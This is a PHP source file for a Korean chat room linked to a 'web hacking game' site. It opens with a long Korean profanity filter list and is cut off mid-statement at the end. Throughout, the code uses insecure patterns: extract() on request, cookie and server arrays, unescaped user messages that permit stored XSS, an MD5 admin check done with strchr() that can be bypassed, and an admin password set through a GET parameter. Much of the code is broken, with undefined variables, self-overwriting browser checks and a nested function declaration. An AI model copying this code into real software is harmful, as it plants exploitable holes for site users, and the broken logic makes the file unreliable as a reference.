YOU,BOZI,bozi,BOZZI,bozzi,sex,SEX,ㅅ1발,씨발,히밤,시발,개새끼,씹새끼,십새끼,좃,보지,잠지,자지,섹스,딸딸이,10새,10새기,10새리,10세리,10쉐이,10쉑,10스,10쌔,10쌔기,10쎄,10알,10창,10탱,18것,18넘,18년,18노,18놈,18뇬,18럼,18롬,18새,18새끼,18색,18세끼,18세리,18섹,18쉑,18스,18아,c파,c팔,fuck,ㄱㅐ,ㄲㅏ,ㄲㅑ,ㄲㅣ,ㅅㅂㄹㅁ,ㅅㅐ,ㅆㅂㄹㅁ,ㅆㅍ,ㅆㅣ,ㅆ앙,ㅍㅏ,凸,갈보,갈보년,강아지,같은년,같은뇬,개같은,개구라,개년,개놈,개뇬,개대중,개독,개돼중,개랄,개보지,개뻥,개뿔,개새,개새기,개새끼,개새키,개색기,개색끼,개색키,개색히,개섀끼,개세,개세끼,개세이,개소리,개쑈,개쇳기,개수작,개쉐,개쉐리,개쉐이,개쉑,개쉽,개스끼,개시키,개십새기,개십새끼,개쐑,개씹,개아들,개자슥,개자지,개접,개좆,개좌식,개허접,걔새,걔수작,걔시끼,걔시키,걔썌,걸레,게색기,게색끼,광뇬,구녕,구라,구멍,그년,그새끼,냄비,놈현,뇬,눈깔,뉘미럴,니귀미,니기미,니미,니미랄,니미럴,니미씹,니아배,니아베,니아비,니어매,니어메,니어미,닝기리,닝기미,대가리,뎡신,도라이,돈놈,돌아이,돌은놈,되질래,뒈져,뒈져라,뒈진,뒈진다,뒈질,뒤질래,등신,디져라,디진다,디질래,딩시,따식,때놈,또라이,똘아이,똘아이,뙈놈,뙤놈,뙨넘,뙨놈,뚜쟁,띠바,띠발,띠불,띠팔,메친넘,메친놈,미췬,미췬,미친,미친넘,미친년,미친놈,미친새끼,미친스까이,미틴,미틴넘,미틴년,미틴놈,바랄년,병자,뱅마,뱅신,벼엉신,병쉰,병신,부랄,부럴,불알,불할,붕가,붙어먹,뷰웅,븅,븅신,빌어먹,빙시,빙신,빠가,빠구리,빠굴,빠큐,뻐큐,뻑큐,뽁큐,상넘이,상놈을,상놈의,상놈이,새갸,새꺄,새끼,새새끼,새키,색끼,생쑈,세갸,세꺄,세끼,섹스,쇼하네,쉐,쉐기,쉐끼,쉐리,쉐에기,쉐키,쉑,쉣,쉨,쉬발,쉬밸,쉬벌,쉬뻘,쉬펄,쉽알,스패킹,스팽,시궁창,시끼,시댕,시뎅,시랄,시발,시벌,시부랄,시부럴,시부리,시불,시브랄,시팍,시팔,시펄,신발끈,심발끈,심탱,십8,십라,십새,십새끼,십세,십쉐,십쉐이,십스키,십쌔,십창,십탱,싶알,싸가지,싹아지,쌉년,쌍넘,쌍년,쌍놈,쌍뇬,쌔끼,쌕,쌩쑈,쌴년,썅,썅년,썅놈,썡쇼,써벌,썩을년,썩을놈,쎄꺄,쎄엑,쒸벌,쒸뻘,쒸팔,쒸펄,쓰바,19금,지/랄,시/발,병/신,병신,빙신,뷩신,븅신,또라이,또롸이,십구세,십구,쉽구,애자,뮈췬,시 발,장 애,애 자,ㅅㅂ,ㅄ,ㅂㅅ,凸,쓰박,쓰발,쓰벌,쓰팔,멍청이,씁새,씁얼,씌파,씨8,씨끼,씨댕,씨뎅,씨바,씨바랄,씨박,씨발,씨방,씨방새,씨방세,씨밸,씨뱅,씨벌,씨벨,씨봉,씨봉알,씨부랄,씨부럴,씨부렁,씨부리,씨불,씨붕,씨브랄,씨빠,씨빨,씨뽀랄,씨앙,씨파,씨팍,씨팔,씨펄,씸년,씸뇬,씸새끼,씹같,씹년,씹뇬,씹보지,씹새,씹새기,씹새끼,씹새리,씹세,씹쉐,씹스키,씹쌔,씹이,씹자지,씹질,씹창,씹탱,씹퇭,씹팔,씹할,씹헐,아가리,아갈,아갈이,아갈통,아구창,아구통,아굴,얌마,양넘,양년,양놈,엄창,엠병,여물통,염병,엿같,옘병,옘빙,오입,왜년,왜놈,욤병,육갑,은년,을년,이년,이새끼,이새키,이스끼,이스키,임마,자슥,잡것,잡넘,잡년,잡놈,저년,저새끼,접년,젖밥,조까,조까치,조낸,조또,조랭,조빠,조쟁이,조지냐,조진다,조찐,조질래,존나,존나게,존니,존만,존만한,좀물,좁년,좁밥,좃까,좃또,좃만,좃밥,좃이,좃찐,좆같,좆까,좆나,좆또,좆만,좆밥,좆이,좆찐,좇같,좇이,좌식,주글,주글래,주데이,주뎅,주뎅이,주둥아리,주둥이,주접,주접떨,죽고잡,죽을래,죽통,쥐랄,쥐롤,쥬디,지랄,지럴,지롤,지미랄,짜식,짜아식,쪼다,쫍빱,찌랄,창녀,캐년,캐놈,캐스끼,캐스키,캐시키,탱구,팔럼,퍽큐,호로,호로놈,호로새끼,호로색,호로쉑,호로스까이,호로스키,후라들,후래자식,후레,후뢰,8억,새끼,개새끼,소새끼,병신,지랄,씨팔,십팔,니기미,찌랄,지랄,쌍년,쌍놈,빙신,좆까,니기미,좆같은게,잡놈,벼엉신,바보새끼,씹새끼,씨발,씨팔,시벌,씨벌,떠그랄,좆밥,추천인,추천id,추천아이디,추천id,추천아이디,추/천/인,쉐이,등신,싸가지,미친놈,미친넘,찌랄,죽습니다,님아,님들아,씨밸넘";//욕설 필터링 리스트 ######################################################################################################################## //header의 Expires 설정용 구문 header("Expires: ".gmdate("D, d M Y H:i:s", time())." GMT"); // W3C P3P 규약설정 header ("P3P : CP=\"ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC\""); // no-cache 설정. header ("Cache-Control: no-cache, must-revalidate"); header ("Pragma: no-cache"); # register_globals = Session 정의. ini_set('register_globals','1'); ini_set('session.bug_compat_42','1'); ini_set('session.bug_compat_warn','0'); ini_set('session.auto_start','1'); //header의 만료시기 안뜨게 설정. unset($REQUEST_METHOD); //버젼 및 한글화 루틴. $ev = "euc-kr"; $ver = "3.0"; //euc-kr 인지아닌지 검사루틴. function check_inc($msg) { $len = strlen($msg); $stepsize = 1; for($i=0; $i<$len; $i = $i + $stepsize){ if( (ord($msg[$i]) & 0x80) == 0x80 ){ //깨진 캐릭터 if( ord($msg[$i+1]) == 0x00 ){ return true; } //euckr 범위에 있는지도 검사 if(!( ord($msg[$i]) >= 0xB0 && ord($msg[$i]) <= 0xC8 && ord($msg[$i+1]) >= 0xA1 && ord($msg[$i+1]) <= 0xFE )){ return true; } $stepsize = 2; }else{ $stepsize = 1; } } return false; } // 한글자르기 함수 function cut_str($msg,$len,$_deleted) { if(strlen($msg) > $len) { $msg = substr($msg, 0, $len + 1); $end = $len; while(ord($msg[$end]) > 127) $end--; if(($len - $end) % 2){ $msg = substr($msg, 0, $len)."..";} else {$msg .= "..";} function substr_kr($str,$start,$len,$last) { if (strlen($str) < $len) return $str; $str_kr = trim(substr($str,$start,$len)); if (! ( strlen(str_replace(" ","..",$str_kr)) % 2 ) ) return $str_kr.$last; else return substr($str_kr,0,$len -1).$last; } } return $msg; } // 전역변수 초기화. @extract($_GET); @extract($_POST); @extract($_SERVER); @extract($_COOKIE); @extract($_REQUEST); if (isset($HTTP_POST_VARS) && !isset($_POST)) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; $_COOKIE = &$HTTP_COOKIE_VARS; $_ENV = &$HTTP_ENV_VARS; $_FILES = &$HTTP_POST_FILES; if (!isset($_SESSION)) $_SESSION = &$HTTP_SESSION_VARS; } // 익스와 넷스케이프일때 처리 if(eregi("msie",$HTTP_USER_AGENT)) $browser="1";else $browser="0"; { // 파이어폭스 처리 if(eregi("Firefox",$HTTP_USER_AGENT)) $browser="1"; else $browser="0"; // 오페라 처리 if(eregi("Opera",$HTTP_USER_AGENT)) $browser="1"; else $browser="0"; // 모잘라 처리 if(eregi("Mozilla",$HTTP_USER_AGENT)) $browser="1"; else $browser="0"; } //사이즈를 넷쓰와 익스일때 구분하여 리턴 function size($dbo) { global $browser; if(!$browser) return " size=".($dbc)." "; else return " size=$dbc "; } function size2($dbo) { global $browser; if(!$browser) return " cols=".($dbc)." "; else return " cols=$dbc "; } //경로를 벗어나면 다시 확장자명 으로 잡아주는 필터링. if(getenv("REQUEST_METHOD") == $_SERVER['PHP_SELF']); // 디렉토리를 검사함 if(!is_dir("log_data/")) { @mkdir("log_data/",0777); @chmod("log_data/",0706); echo "빈 화면이 보이시면, 새로고침을 하여주세요. [로그데이타 폴더생성 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; return; } if(!is_dir("msg_ban/")) { @mkdir("msg_ban/",0777); @chmod("msg_ban/",0706); echo "빈 화면이 보이시면, 새로고침을 하여주세요. [강퇴리스트 폴더생성 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; return; } if(!is_dir("con_user/")) { @mkdir("con_user/",0777); @chmod("con_user/",0706); echo "빈 화면이 보이시면, 새로고침을 하여주세요. [현재접속자폴더생성 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; return; } // 아이피 강퇴 파일 만들기. if(!file_exists("msg_ban/_ban.dat")) { echo "빈 화면이 보이시면, 새로고침을 하여주세요. [강퇴 아이피파일 생성 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; $ban = @fopen("msg_ban/_ban.dat", "a+"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; return; } // htaccess 생산. if(!file_exists("msg_ban/.htaccess")) { echo "빈 화면이 보이시면, 새로고침을 하여주세요. [강퇴작업폴더 보안패치 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; $ban = fopen("msg_ban/.htaccess", "w+"); @fwrite($fpu0, "RewriteEngine On RedirectMatch /(.*)$ about:blank forcetype application/octet-stream"); return; } if(!file_exists(".htaccess")){ echo "빈 화면이 보이시면, 새로고침을 하여주세요. [채팅프로그램 보안패치 작업화면]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; $index = fopen(".htaccess", "w+"); @fwrite($fpu0, "RewriteEngine On RedirectMatch /(.*)$ about:blank forcetype application/octet-stream"); return; } //자동봇 탐지 프로텍팅 엔진. if(!($_SERVER['SERVER_PROTOCOL'] == 'HTTP/1.1' && $_SERVER['HTTP_USER_AGENT'] == 'Shockwave Flash')) { if($_SERVER['SERVER_PROTOCOL'] != 'HTTP/1.1' || !isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { if($_SERVER['HTTP_X_FORWARDED_FOR'] != 'HTTP_X_FORWARDED_FOR' || !isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { if($_SERVER['SERVER_PROTOCOL'] != 'HTTP_X_FORWARDED_FOR' || !isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { if(count($_POST) != 0) { $fp = fopen('./log_data/postdata.txt', 'a'); fwrite($fp, $_SERVER['REMOTE_ADDR']."\n"); fwrite($fp, print_r($_POST, true)); fwrite($fp, print_r($_GET, true)); fwrite($fp, print_r($_SERVER, true)); fwrite($fp, "---------------------\n"); fclose($fp); exit; } if(!preg_match('/BlackBerry|Daum|EMPAS\.ROBOT|Gigabot|Googlebot|NaverBot|Snapbot|Speedy\|SurveyBot|Twiceler|Yahoo|Yeti|MFeedBot|msnbot|webcollage|yoofind|xMind|BrightCrawler|NimbleCrawler|StackRambler|SurveyBot|ia_archiver/', $_SERVER['HTTP_USER_AGENT'])) { $fp = fopen('./log_data/agents.txt', 'a'); fwrite($fp, $_SERVER['HTTP_USER_AGENT']."\n"); fwrite($fp, $_SERVER['REMOTE_ADDR']."\n"); fwrite($fp, "---------------------\n"); fclose($fp); echo " <script language=javascript> alert('크로스경비병 입니다. 다음과 같은 제약으로 접속하실수없습니다.\\n\\n인터넷 옵션 에서 프록시 설정을 제거하셔야 접속하실 수 있습니다.'); history.go(-1); </script>"; } exit; } } } } //동시접속 차단 프로텍션. $IP=$_SERVER['REMOTE_ADDR']; setcookie ("IP","$IP",0,"/"); $_POST['IP'] = serialize($IP); if(isset($_POST['$IP'])) $IP = $_POST['IP']; if(isset($_COOKIE['IP'])&&$_COOKIE['IP']/2>=1) { if(count($_POST) != 0) { if(!file_exists($IP.".dat")) { echo "빈 화면이 보이시면, 새로고침을 하여주세요. [동시접속 차단 프로텍션 작동.]"; echo "<meta http-equiv='refresh' content='3;url=./msg.php#ad'>"; $IP_ADDRES = @fopen($IP.".dat", "a+"); @fwrite($IP_ADDRES, print_r($_SERVER['REMOTE_ADDR']." \n", true)); @fwrite($IP_ADDRES,date("Y-m-d H:i:s")." \n",true); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; return; } } } //동시접속 처리 알고리즘. [아이피와 현재시간과 이전시간 비교] /* $IP_ADDRES = @fopen($IP.".dat","r"); $IP_ADDRES = @fread($IP_ADDRES, filesize($IP.".dat")); $old_day = date("Y m d H i s", $IP.".dat"); $old_day = @fopen($IP.".dat", "r"); $new_day = date('Y-m-d H:i:s'); $old_day = @strtotime($old_day); $new_day = @strtotime($new_day); if ($old_day < $new_day) { if ($_SERVER['REMOTE_ADDR']&&$_SERVER['REMOTE_ADDR']) { if(date("Y-m-d H:i:s")<=$IP_ADDRES) { print('본 사이트에 이중 접속을 하셨습니다. 혹은 지원되지않은 환경이라 볼수없습니다. 관리자에게 문의하세요!'); print('네이트 Msn - yangws13@nate.com 으로 연락주시면 됩니다.'); exit; } } }else { print('처음접속을 환영합니다.'); } */ //아이피 블랙리스트 접근 감시 루틴. $banlist = @fopen("./msg_ban/_ban.dat", "r"); while(!feof($banlist)){ $dlist .= fgets($banlist);} if(@eregi($_SERVER[REMOTE_ADDR],$dlist)){echo "$_SERVER[REMOTE_ADDR]"." 님께서는, 아이피 강퇴 되셨습니다."; exit; } //동시접속 접근 감시 루틴. /* $banlist = @fopen($IP.".dat","r"); while(!@feof($banlist)){ $dlist .= @fgets($banlist);} if(@eregi((date("Y-m-d H:i:s").$dlist))){echo "$_SERVER[REMOTE_ADDR]"." 님께서는, 이중으로 접속하여 종료합니다."; exit; } */ // 현재접속자 루틴함수. $r_time = 15; // 화면 갱신 간격 (초) $w_time = 20; // 접속 지연 시간 (초) $FILE = @fopen("con_user/$REMOTE_ADDR","w+"); // 현재 IP를 파일명으로 지정 (쓰기 모드) $info = time(); @fputs($FILE,$info); @fclose($FILE); $user[] = $REMOTE_ADDR; if(!$user){ $user=$_SERVER['REMOTE_ADDR']; $user= explode(".",$value); $user = $user[0].".".$user[1].".x.".$user[3]; } $USER1 = opendir("con_user"); while($entry=readdir($USER1)) if($entry!="."&&$entry!="..") { if ($REMOTE_ADDR != $entry) { $info = file("con_user/$entry"); if((time()-$w_time)>chop($info[0])) @unlink("con_user/$entry"); else $user[] = $entry; } } $total_user = count($user); $ip = implode("\n",$user); // 전역변수 점검. $ext_arr = array ('PHP_SELF', '_ENV', '_GET', '_POST', '_FILES', '_SERVER', '_COOKIE', '_SESSION', '_REQUEST', 'HTTP_ENV_VARS', 'HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_POST_FILES', 'HTTP_SERVER_VARS', 'HTTP_COOKIE_VARS', 'HTTP_SESSION_VARS', 'GLOBALS'); $ext_cnt = count($ext_arr); for ($i=0; $i<$ext_cnt; $i++) { // GET 으로 선언된 전역변수가 있다면 unset() 시킴 if (isset($_GET[$ext_arr[$i]])) unset($_GET[$ext_arr[$i]]); } if(!$adtime){ $adtime = round(($ajaxtime/4)*$fontsize,0)*3; $adtime = $adtime*round($height/8,0); $adtime = round($adtime/6,0); } if($_GET['allview']){ ?> <meta http-equiv="Content-Type" content="text/html; charset=<?=$ev?>" /> <meta http-equiv="Page-Enter" content="BlendTrans(Duration=0.2)" /> <meta http-equiv="Page-exit" content="BlendTrans(Duration=0.5)" /> <style type='text/css'> * {background-color: <?=$color?>;font-size:<?=$fontsize?>pt;margin:1px;color:<?=$fontcolor?>;font-family:<?=$font?>} </style> <title>:: 전체내용보기 :: <?=$_SERVER['PHP_SELF']?></title> <div style='text-align:center;font-weight:bold;font-size:12pt'>전체내용보기</div> <? $dbo = @fopen("./memo.dat", "r"); $db = @fread($dbo, filesize("./memo.dat")); $db = explode("\n", $db); $dbc = count($db); for($i=0;$i<$dbc;$i++){ //for 시작 if(!$a && $db[$i]){ //if 시작 $namesave = $db[$i]; echo "<font style='font-size:8pt'>name</font><b>".$db[$i]."</b> | "; $a="1"; }else if($a=="1"){ //else if시작 $a="2"; echo $db[$i]; }else{$sss=$dbc-1; if($i==($sss)){echo "<a name='ad'></a>";} //else if 시작 $a="";if($db[$i]){if(eregi("-/",$namesave)){$db[$i]="관리자_".$db[$i];}} echo " <font style='font-size:8pt;color:yellow'>(".$db[$i].")</font><br />";} } exit;} if($_GET['getdat']){ ?> <meta http-equiv="Content-Type" content="text/html; charset=<?=$ev?>" /> <meta http-equiv="Page-Enter" content="BlendTrans(Duration=0.2)" /> <meta http-equiv="Page-exit" content="BlendTrans(Duration=0.5)" /> <meta http-equiv="X-UA-Compatible" content="IE=8;FF=3;OtherUA=4" /> <script type='text/javascript'>/*![CDATA[*/setTimeout("location.reload();",<?=$ajaxtime?>);/*}}>*/</script> <? if($_SESSION['size']!=filesize("memo.dat")){ ?> <script type='text/javascript'>/*![CDATA[*/parent.chatframe.location.reload();top.document.title='새 글이 올라왔습니다!';/*}}>*/</script> <? } $_SESSION['size']=filesize("memo.dat"); exit; } if($_GET['out']){ $dbsa = @fopen("./memo.dat", "a"); unlink($IP.".dat"); fwrite($dbsa, "**>퇴장안내 \n ".$_SESSION['n']." 님이 퇴장하셨습니다! \n ".date("Y-m-d H:i:s")." \n"); $_SESSION['lt']="";$_SESSION['n']=""; echo "<script type='text/javascript'>self.close()</script>";exit; } $denys=explode(",",$deny); $dcount = count($denys); //광고 메커니즘. if(!$_GET['ok']){ $dbs = @fopen("./memo.dat", "a"); $ra = rand(0,$adtime); if($ra==0){ fwrite($dbs, "- 광고 : \n <a href='http://yangws.myfeelclub.com' target='_d' style='font-weight:bold;color:blue;background:white'>웹해킹 게임이있는 그곳!</a>\n 1번광고 \n"); } if($ra==1){ fwrite($dbs, "- 광고 : \n <a href='http://yangws.myfeelclub.com' target='_d' style='font-weight:bold;color:blue;background:white'>공개용 크리스 경비병 다운로드!</a>\n 2번광고 \n"); } if($ra==2){ fwrite($dbs, "- 광고 : \n <a href='http://yangws.myfeelclub.com' target='_d' style='font-weight:bold;color:blue;background:white'>Php 자료 가 풍부한 그곳 !</a>\n 3번광고 \n"); } if($ra==3){ fwrite($dbs, "- 광고 : \n <a href='http://yangws.myfeelclub.com' target='_d' style='font-weight:bold;color:blue;background:white'>Javascript 가 풍부한 그곳!</a>\n 4번광고 \n"); } if($ra==4){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:blue;background:white;cursor:normal'>관리자는 이름 앞에 '-/' 이 붙습니다!</a>\n @공지@ \n"); } if($ra==5){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:red;background:white;cursor:normal'>본 계정은 마이필 클럽계정에 종속되어 있습니다.</a>\n @공지@ \n"); } if($ra==6){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:red;background:white;cursor:normal'>항상 즐거운 해킹 되세요 감사합니다.</a>\n @공지@ \n"); } if($ra==7){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:red;background:white;cursor:normal'>불법 해킹은 몸에 해롭습니다. 건전한 화이트 해커가 되세요.</a>\n @공지@ \n"); } if($ra==8){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:red;background:white;cursor:normal'>트레이닝 문제의 정답을 기록하시면 안됩니다. 강력조치합니다!</a>\n @공지@ \n"); } if($ra==9){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:red;background:white;cursor:normal'>본사이트 주소는 http://yangws.myfeelclub.com 입니다.</a>\n @공지@ \n"); } if($ra==10){ fwrite($dbs, "-- 참고 : \n <a style='font-weight:bold;color:blue;background:white;cursor:normal'>오늘도 좋은 하루와 운이 함께하시길 바랍니다.</a>\n @공지@ \n"); } } //채팅방 청소 기능. if($_GET['reset']&&$_SESSION['lt']){ @unlink("memo.dat"); $d = fopen("memo.dat", "w"); fwrite($d, "<div align='center' style='font-weight:bold;color:blue;background:white'>* * 관리자에 의해 초기화 되었습니다. * *</div>"); echo "<script type='text/javascript'>alert('초기화 되었습니다!');location.href='msg.php#ad';</script>"; exit;} //로그아웃 기능. if($_GET['logout']){ $_SESSION['lt']=""; echo "<script type='text/javascript'>alert('로그아웃 되었습니다!');location.href='msg.php#ad';</script>"; exit;} if(NULL==file_exists("memo_pwd.dat") && $_GET['pwd']){ $d = fopen("memo_pwd.dat", "w"); $p = $_GET['pwd']; $p = md5($p); fwrite($d, $p); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; exit;} if(NULL==file_exists("memo_pwd.dat")){ ?> <!-- chatting Install Mode --> <form method='get' action='msg.php'> 사용할 비번 : <input type='text' name='pwd' /><input type='submit' value='설치' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:8pt' /> </form> <? exit;} //로그인 기능. if($_GET['login']){ $fp = fopen("memo_pwd.dat", "r"); $fps = fread($fp, filesize("memo_pwd.dat")); $ls = $_GET['login']; $ls = md5($ls); echo "관리자 모드로 로그인중입니다..."; if(strchr($ls,$fps)){ $_SESSION['lt']="ADMIN"; echo "로그인성공!<script type='text/javascript'>alert('로그인되셨습니다!');location.href='msg.php#ad';</script>"; }else{ echo "<script type='text/javascript'>alert('비밀번호가 일치하지 않습니다!');location.href='msg.php#ad';</script>"; } exit;} //리스트 목록 보여주기. if($_GET['reset']&&$_SESSION['lt']){ unlink("memo.dat"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; exit;} ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?=$ev?>" /> <meta http-equiv="Page-Enter" content="BlendTrans(Duration=0.2)" /> <meta http-equiv="Page-exit" content="BlendTrans(Duration=0.5)" /> <title>:: [채팅방] :: <?=$_SERVER['PHP_SELF']?></title> <!-- 폰트Size 설정부분. --> <style type='text/css'> * {background-color: <?=$color?>;font-size:<?=$fontsize?>pt;margin:1px;color:<?=$fontcolor?>;font-family:<?=$font?>} </style> <!-- 밑줄 없애기 설정부분. --> <style type='text/css'> <!-- a { font-family: ''; text-decoration: none} --> </style> <!-- 프레임 자동 조절 --> <script language="javascript" src="http://".util_get_host()."/pass/resizeiframe.js"></script> <!-- 리프레쉬 Ajax --> <script type='text/javascript'> /*![CDATA[*/ var isie = (document.all)? 1:0; var xmlHttp = true; var strc = ''; if(isie){ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); }else{ // if(window.XMLHttpRequest) xmlHttp = new XMLHttpRequest(); } function getData(dataSource) { if(xmlHttp) { xmlHttp.open('POST', dataSource, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-urlencoded; charset=euc-kr"); xmlHttp.onreadystatechange = function(){ if(xmlHttp.readyState=='4' && xmlHttp.status=='200' || xmlHttp.responseText){ strc = xmlHttp.responseText; } } xmlHttp.send(); } } setTimeout("getData('msg.php')", 5000); /*}}>*/ </script> <!-- 제목 타이틀 설정부분. --> <script type='text/javascript'>/*![CDATA[*/ setTimeout("title()", 1500); function title(){ var ttle = ":: [채팅방] :: <?=$_SERVER['PHP_SELF']?>"; document.title = ttle; setTimeout("title()", 1500); } function login(){ d = document.getElementById('c').value; location.href='?login='+d; } function sout(){ var s = window.open('msg.php?out=1'); s.focus(); self.close(); } /*}}>*/ </script> <!-- 넷스케이프 사용자 입장금지. --> <script> function enterance() { if (navigator.appName == "navigator.appName" || navigator.appName == "Netscape"){ alert('넷스케이프 사용자는 입장할 수 없습니다'); return; } else { location='./link.html'; } } </script> <!-- 특수키 키보드 막기. --> <script> function keydown(){ if(event.keyCode==122 || event.altKey==true || event.altLeft==true){ event.keyCode=0; event.cancelBubble = true; event.returnValue = false; alert('이 특수키는 사용할 수 없습니다.'); } } document.onkeydown=keydown; </script> <!-- 특수키 키보드 막기. --> <script> function cancelRefresh() { // keycode for F5 function if (window.event && window.event.keyCode == 116) { window.event.keyCode = 8; } } </script> </head> <? if($_GET['content']){ //echo "<body onload=\"parent.document.getElementById('c').focus()\" />"; ?> <script type='text/javascript'> window.onload=function(){ var pagebottom = document.body.scrollHeight; window.scrollTo(0, pagebottom); }</script> <? //메모 파일 접근, 셋팅된 내용갯수 파악후 초기화 루틴. $dbo = @fopen("./memo.dat", "r"); $db = @fread($dbo, filesize("./memo.dat")); $db = explode("\n", $db); $dbc = count($db); if($dbc>($delif*3)){ unlink("memo.dat"); $d = fopen("memo.dat", "w"); fwrite($d, "<div align='center' style='font-weight:bold;color:blue;background:white'>* * * 관리자가 '$delif'개 까지의 채팅내용을 저장하도록 지정하여, 서버에 의해 내용이 삭제되었습니다. * * *</div>"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; exit; } for($i=0;$i<$dbc;$i++){ if(!$a && $db[$i]){ $namesave = $db[$i]; echo "<font style='font-size:8pt'>name</font><b>".$db[$i]."</b> | "; $a="1"; }else if($a=="1"){ $a="2"; echo $db[$i]; }else{$sss=$dbc-1; if($i==($sss)){echo "<a name='ad'></a>";} $a="";if($db[$i]){if(eregi("-/",$namesave)){$db[$i]="관리자_".$db[$i];} echo " <font style='font-size:8pt;color:yellow'>(".$db[$i].")</font><br />";} } } exit;} if(!$_GET['ok']){?> <!-- 메뉴 삽입구역 --> <div align="center"> <table width="298" cellspacing="0" style="border-width:1; border-color:rgb(51,51,51); border-style:ridge; border-collapse:collapse;" cellpadding="0" border="0" height="23"> <tr> <td width="1" height="2"></td> <td width="97" height="2"></td> <td width="103" height="2"></td> <td width="95" height="2"></td> </tr> <tr> <td width="1" height="21"></td> <td width="96" style="border-width:1; border-color:rgb(51,51,51); border-style:groove;" height="21"> <p align="center"><b><a href="http://yangws.myfeelclub.com/bbs/zboard.php?id=PassBbs" title="경비병 게시판 으로 이동합니다 !"><span style="font-size:10pt;"><font color="white">자유게시판</font></span></a></b></p> </td> <td width="102" style="border-width:1; border-color:rgb(51,51,51); border-style:groove;" height="21"> <p align="center"><b><a href="http://yangws.myfeelclub.com/bbs/zboard.php?id=query_Q" title="경비병 트레이닝 문제를 시작합니다 !"><span style="font-size:10pt;"><font color="white">트레이닝 문제</font></span></a></b></p> </td> <td width="94" style="border-width:1; border-color:rgb(51,51,51); border-style:groove;" height="21"> <p align="center"><b><a href="http://yangws.myfeelclub.com/pass/msg.php" title="크리스 경비병 체팅방으로 이동합니다."><span style="font-size:10pt;"><font color="white">채팅방접속</font></span></a></b></p> </td> </tr> </table> <!-- 메뉴 삽입 여기까지 --> </div> <body onload="document.getElementById('c').focus()" /> <!-- iframe 출력 부분 --> <iframe src='?content=1#ad' id='chatframe' name='chatframe' width='98%' height='<?=$height?>px' frameborder='0' scrolling='yes' style='overflow-x:hidden'> <iframe src='?getdat=1' style='display:none' width='1px' height='1px'></iframe> <form method='post' action='?ok=ok&frame=1'> <? //사용자 입장 출력 기능. if(!$_SESSION['n']){ $_tmp = substr(md5($_SERVER['REMOTE_ADDR']),0,6); $_SESSION['n']=$_tmp.rand(1000,9999); if(!$_GET['ok']){ $dbsa = @fopen("./memo.dat", "a"); fwrite($dbsa, "**>입장안내 \n ".$_SESSION['n']." 님이 입장하셨습니다! \n ".date("Y-m-d H:i:s")." \n"); } } ?> <script type='text/javascript'>/*<![CDATA[*/ setTimeout("document.getElementById('c').focus()",800); /*]]>*/</script> <!-- Adtime : <?=$adtime?> [sec(s)] --> <!-- 입력 받을부분 메뉴 --> <input type='text' name='n' size='10' value='<?=$_SESSION['n']?>' style='border: solid 1px white' /><input type='text' id='c' name='c' value='<?=$_GET['bak_c']?>' size='50' style='border: solid 1px white' /><input type='submit' onclick='check()' value='입력' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:8pt'/> <?if(!$_SESSION['lt']){?> <!-- 관리자로그인 받을부분 메뉴 --> <input type='button' onclick='login()' value='Login' title='관리자로그인(비번입력후)' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:6pt' /> <?}else{?> <!-- 관리자 메뉴 명령어 받을부분 메뉴 --> <input type='button' onclick="location.href='?logout=1'" title='로그아웃' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:6pt' value='Logout' /> <input type='button' onclick="location.href='?reset=1'" title='내용 초기화' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:6pt' value='Reset' /> <?}?> <!-- 기타 메뉴 받을부분 메뉴 --> <input type='button' onclick="var win=window.open('?allview=1');win.focus()" title='전체내용보기' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:9pt' value='전체내용보기' /> <input type='button' onclick="sout()" title='나가기' style='border: solid 1px #CCCCCC;font-weight:bold;font-size:9pt' value='나가기' /> <br />최대 80Bytes 까지 작성가능합니다. </form> <?}else{ $dbs = @fopen("./memo.dat", "a"); //악성 스크립트 문자열로 바꾸기 루틴. global $n, $c; $n = stripslashes($_POST['n']); $c = stripslashes($_POST['c']); // notice_! 명령어 실행시... if($_SESSION['lt'] && eregi("notice_!",$c)){ $c = str_replace("notice_!", "", $c); fwrite($dbs, "<font style='color:yellow'>★공★지★</font> \n <font style='font-weight:bold;color:red;background:white;font-size:10pt'>".$c."</font> \n (".date("Y-m-d H:i:s").") \n"); echo "<script 